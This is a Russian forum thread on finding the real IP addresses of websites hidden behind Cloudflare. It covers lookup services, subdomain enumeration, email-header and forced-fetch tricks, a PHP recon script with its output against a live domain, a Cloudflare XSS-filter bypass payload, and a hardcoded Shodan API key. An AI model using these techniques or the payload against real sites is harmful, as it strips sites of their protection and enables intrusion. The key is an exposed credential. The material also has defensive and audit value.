Что такое CloudFlare? CloudFlare – это сервис по обслуживанию и обеспечению безопасности. Часто различные сайты прячут за ним свой реальный IP. Для того что бы разкрыть реальный IP будем использовать известные онлайн тулзы. И так для примера возмем сайт c CloudFlare PHP: http://gre4ka.info Для начала проверим IP: Code: ping gre4ka.info Получим IP:104.28.18.120 Пробуемм подключится по 80 порту: Получем ошибку из которой видно что IP пренадлежит CloudFlare Дальше идем на сайт сервис по раскрытию IP -адресов которые прячутся за CloudFlare: PHP: http://www.crimeflare.com/cfs.html И просто в поиске вбиваем наш сайт... В итоге получаем реальный IP: Code: gre4ka.info 146.185.128.222 Проверяем прямое подключение по IP на 80 порт: Получаем сайт уже без CloudFlare.Дальше уже спокойно можно работать с софтом и проводит аудит не только веб-приложения но и целевой системы(сканить порты,сервисы и т.д...) Еще как вариант можно использовать утилитку DIG для того что разкрыть возможные dns-имена,затем пинговать их: Но в нашем случае все записи не принадлежат реальному IP ( Еще один способ разкрытия реального IP сайта - это через почту.Это может быть регистрация на сайте или любой другой способ вынудить отправить вам письмо с веб сервера.И в теле письма посмотреть IP адрес.
Нашел)) спасибо! nmap можно добавить. А что еще взять если нет возможности отправить письмо(не с сервер), или же вообще отправка не привязана к реальному ипу?
Например? Заметил, сегодня юзану по этой теме. Интересно что получится. А на другой стороне мои действия как отображаться могут, отображается?
такой вопрос, а что если сервер по ip не открывается, как быть в таком случае? там наврно могут быть какие-то проверики? типа пришел не с клауд сервера а прямо....
http://ptrarchive.com/ http://censys.io https://myip.ms/ https://www.larger.io/ http://www.crimeflare.com/cfs.html#box https://cl0udflare.cf/index.php https://crt.sh/ http://searchdns.netcraft.com/ http://viewdns.info/iphistory/ https://fofa.so
https://medium.com/@denyfebriant/bypass-xss-filter-cloudflare-on-indodax-com-526fb32ffa08 Code: Свежий bypass xss фильтра Cloudflare %22}%3C%2500svg%26%23x09%3bx%2f%2500onload%3d%26%230000097%26%230000108%26%230000101%26%230000114%26%230000116%26%230000040%26%230000100%26%230000111%26%230000099%26%230000117%26%230000109%26%230000101%26%230000110%26%230000116%26%230000046%26%230000100%26%230000111%26%230000109%26%230000097%26%230000105%26%230000110%26%230000041%3E
https://github.com/MindPointGroup/cloudfrunt CloudFrunt is a tool for identifying misconfigured CloudFront domains.
dnsdumper, sublist3r, cloudfail это же обратный прокси, насколько знаю обходится поиском ипа которые не за клаудом.
^^^^^^^^^^^^^^^^^^^^^###^^^^^^^^^^ ^^^^^^^^^^^^^^^^#####^^^^####^^^^^^ ^^^^^^^^^^^^^^#^#^#^^^^#^^^^^#^^^^^ ^^^^^^^^^^^^^#^#^^#^^#^^^^^#^^#^^^^ ^^^^^^^^^^^^^#^#^#^#^#^^^##^^^#^^^^ ^^^^^^#^^^^^#^^^#^#^#^####^^^#^^^^^ ^^^^^^##^^^^#^^^#^#^^^^#^^^#^#^^^^^ ^^^^^^###^^^^#^^^#^#^^^#^^#^^^#^^^^ ^^^^^^#####^^^#^^#^^#^^##^^^^^#^^^^ ^^^^^^^#####^^^############^^##^^^^ ^^^^^^^^^^##^^^^##^^^^######^^^^^^^ ^^^^^^^^^^^##^^###^####^^^^^^^^^^^^ ^^^^^^^^^^^#####^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^###^^^^####^^^^^^^^^^^^^^ ^^^^^^^^^##^^^^^^^#####^^^^^^^^^^^^ ^^^^^^^^##^^^^^^^^^^####^^^^^^^^^^^ ^^^^^^^##^^^^^^^^^^^^###^^^^^^^^^^^ ^^^^^^##^^^^^^^^^^^^^^^#^^^^^^^^^^^
Ещё из методов: если есть аплоуд на сайте можно грузить фаил/картинку и смотреть реальный ип в логах. Решил попрактиковатся и собрать всё в кучу: Code: <?php $start = microtime(true); $host = '100yellow.com'; function get_cookie($host){ $ch = curl_init('http://'.$host); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 1); $result = curl_exec($ch); preg_match_all('/^Set-Cookie:\s*([^;]*)/mi', $result, $matches); $cookies = array(); foreach($matches[1] as $item) { parse_str($item, $cookie); $cookies = array_merge($cookies, $cookie); } return $cookies; } function fixed_gethostbyname($host) { $ip = gethostbyname($host); if ($ip != $host) { return $ip; }// else return false; } function cidr_match($ip) { $cloud = array("103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/12", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18", "162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20", "190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17"); foreach($cloud as $cidr) { list($subnet, $mask) = explode('/', $cidr); if ((ip2long($ip) & ~((1 << (32 - $mask)) - 1) ) == ip2long($subnet)) { return true; } continue; } return false; } $subDomainList = array("www","www2","ftp","mail", "irc", "smtp","pop","staging", "demo", "mx", "mx2", "stage","test","testing", "tmp", "temp", "ns","ns2","vpn","firewall", "ssh","content","images", "img", "docs","doc","dl","services","api", "erp","storage","cloud", "cdn", "encrypted", "finance","blog","english", "forum","forums","board","boards"); $ip = fixed_gethostbyname($host); $ips = array(); $good = array(); if(isset($ip)){ $result = cidr_match($ip); if($result == 'true'){ foreach($subDomainList as $subDomain) { $ips[] = fixed_gethostbyname($subDomain.'.'.$host); } foreach($ips as &$ip){ $result = cidr_match($ip); if($result != 1){ $good[] = $ip; } } } } else{ print $host. ':' .$ip; die(); } $shodan = file_get_contents('https://api.shodan.io/shodan/host/search?key=efdP1hAuSjwzJ1yDcU13hj2YPQJJ8ush&query='.$host); $shodan = json_decode($shodan); $dns = dns_get_record($host); print $host. PHP_EOL; print 'dns records: '. PHP_EOL; print_r($dns). PHP_EOL; print 'subdomain ips: '. PHP_EOL; print_r($good); print 'shodan: '. PHP_EOL; print_r($shodan). PHP_EOL; print 'Cookie:'. PHP_EOL; print_r(get_cookie($host)); print 'time: '.round(microtime(true) - $start, 4).' sec.'; аутпут: Code: "/usr/bin/php" "/home/user/opencart/cloudflare.php" 100yellow.com dns records: Array ( [0] => Array ( [host] => 100yellow.com [class] => IN [ttl] => 2733 [type] => HINFO [cpu] => ANY obsoleted [os] => See draft-ietf-dnsop-refuse-any ) ) subdomain ips: Array ( [0] => [1] => 139.59.29.219 [2] => 97.74.135.10 [3] => [4] => 72.167.238.29 [5] => 97.74.135.10 [6] => [7] => [8] => [9] => [10] => [11] => [12] => [13] => [14] => [15] => [16] => [17] => [18] => [19] => [20] => [21] => [22] => [23] => [24] => [25] => [26] => [27] => [28] => [29] => [30] => [31] => [32] => [33] => [34] => [35] => [36] => [37] => [38] => ) shodan: stdClass Object ( [matches] => Array ( ) [total] => 0 ) Cookie: Array ( [__cfduid] => dc2e8b1b92037edbb4c18f6ff9f2aba3c1549291585 ) time: 4.7554 sec. Done. shodan - мимо. subдомены - дали реальный результат. 139.59.29.219 - редирект на www.139.59.29.219 Как задетектить что ип пренадлежит домену? Сравнению контента мешает капча при клауд домене, детекчу по кукам. Кто знает вариант как обойти?
https://github.com/KyranRana/cloudflare-bypass этот обходит CF UAM page. Там 2 метода - curl и сокеты. Код на курле почему-то не захотел работать а сокеты проходят проверку.
Из методов которые я знаю: Если на сайте есть регистрация или какая-либо возможность отправки почты то регаемся (или заставляем сайт отправить нам письмо) и смотрим айпишник сервера в заголовках письма. В 95% случаев письмо отправляется с самого сервера. Хотя некоторые сайты используют внешний smtp типа mailgun, тогда этот способ не проканает. Если на сайте есть возможность заливки аватара по ссылке (или любая другая возможность заставить перейти сайт по ссылке) то можно заставить сайт перейти по ссылке и в логах сервера при обращении к твоей ссылке будет виден айпишник сервера.